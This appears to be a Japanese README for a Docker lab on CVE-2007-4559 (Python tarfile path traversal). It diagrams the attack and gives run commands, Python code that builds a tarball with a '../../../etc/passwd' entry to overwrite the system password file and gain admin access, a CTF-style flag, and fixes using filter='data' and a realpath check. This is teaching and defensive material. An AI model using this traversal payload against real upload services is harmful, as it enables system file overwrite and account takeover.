tarエントリ名 : ../../../etc/passwd
抽出ディレクトリ : /shared/uploads/a1b2c3d4/

解決後のパス  : /shared/uploads/a1b2c3d4/../../../etc/passwd
               = /etc/passwd   ← システムファイルが上書きされる

攻撃者が tarslip_passwd.tar.gz を作成
  └─ エントリ: "../../../etc/passwd"
       内容: admin:hacked:1001:...   ← 仕掛けられたパスワード
            │
            ▼
  POST /upload  (マルチパートファイルアップロード)
            │
            ▼
  extractall("/shared/uploads/{uuid}/")
  が "../../../etc/passwd" を解決 → /etc/passwd   ← CVE-2007-4559
            │
            ▼
  GET /admin   Authorization: Basic admin:hacked
            │
            ▼
  HTTP 200 — "Welcome, admin! You have full admin access."
  フラグ: CVE-2007-4559{tarslip_passwd_overwrite_to_admin_rce}

# 脆弱 — Python 3.14以前のデフォルト
tar.extractall(extraction_dir)

# 修正済み — PEP 706 (Python 3.12以降)
tar.extractall(extraction_dir, filter='data')

┌─────────────────────────────────────────────────────────┐
│                    tarslip-net (ブリッジ)               │
│                                                          │
│  ┌─────────────────┐      ┌──────────────────────────┐  │
│  │  vulnerable-api │      │       file-server        │  │
│  │  python:3.11.3  │      │       nginx:alpine       │  │
│  │  ポート 8000    │      │       ポート 8080 (ホスト)│  │
│  │                 │      │                          │  │
│  │  POST /upload   │      │  /shared をHTTP経由で    │  │
│  │  GET  /admin    │      │  提供 — 抽出内容を        │  │
│  │  GET  /health   │      │  ブラウザで視覚的に閲覧   │  │
│  └────────┬────────┘      └────────────┬─────────────┘  │
│           │  共有ストレージボリューム    │                 │
│           └────────────────────────────┘                 │
│                                                          │
│  ┌─────────────────┐                                     │
│  │    attacker     │                                     │
│  │  python:3.12    │  (ホストポートなし — 内部のみ)      │
│  │                 │                                     │
│  │  craft_malicious.py  — tarball生成                    │
│  │  demo.py             — デモ駆動                       │
│  └─────────────────┘                                     │
└─────────────────────────────────────────────────────────┘

CVE-2007-4559-lab/
├── run_demo.sh                      ← ここから開始
├── docker-compose.vulnerable.yml
├── docker-compose.fixed.yml
├── vulnerable-api/
│   ├── app.py                       # Flask API: /upload + /admin + /health
│   ├── Dockerfile                   # admin:s3cr3t_Adm1nPass を /etc/passwd に注入
│   └── requirements.txt
├── file-server/
│   ├── Dockerfile
│   └── nginx.conf
└── attacker/
    ├── craft_malicious.py           # innocent.tar.gz + tarslip_passwd.tar.gz を生成
    ├── demo.py                      # 4モードCLIドライバー (craft/baseline/exploit/verify)
    ├── Dockerfile
    └── requirements.txt

git clone https://github.com/your-username/CVE-2007-4559-lab.git
cd CVE-2007-4559-lab
bash run_demo.sh

# 脆弱なスタック
docker compose -f docker-compose.vulnerable.yml up --build -d
docker compose -f docker-compose.vulnerable.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py baseline
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py exploit

# 修正されたスタック
docker compose -f docker-compose.vulnerable.yml down
docker compose -f docker-compose.fixed.yml up --build -d
docker compose -f docker-compose.fixed.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.fixed.yml exec attacker python demo.py verify

# 後片付け
docker compose -f docker-compose.fixed.yml down

admin:s3cr3t_Adm1nPass:1001:1001:Administrator:/home/admin:/bin/bash

def _add_entry(tar, name, content):
    info = tarfile.TarInfo(name=name)   # name はトラバーサルパス
    info.size = len(content)
    tar.addfile(info, io.BytesIO(content))

# エントリ名は /shared/uploads/{uuid}/ に展開されると /etc/passwd に解決される
_add_entry(tar, "../../../etc/passwd", malicious_passwd_content)

# 以前（脆弱 — Python 3.14までデフォルトのまま）
with tarfile.open(path) as tar:
    tar.extractall(dest)

# 以後（安全）
with tarfile.open(path) as tar:
    tar.extractall(dest, filter='data')

import os

def safe_extract(tar, dest):
    dest = os.path.realpath(dest)
    for member in tar.getmembers():
        member_path = os.path.realpath(os.path.join(dest, member.name))
        if not member_path.startswith(dest + os.sep):
            raise ValueError(f"安全でないパス: {member.name}")
    tar.extractall(dest)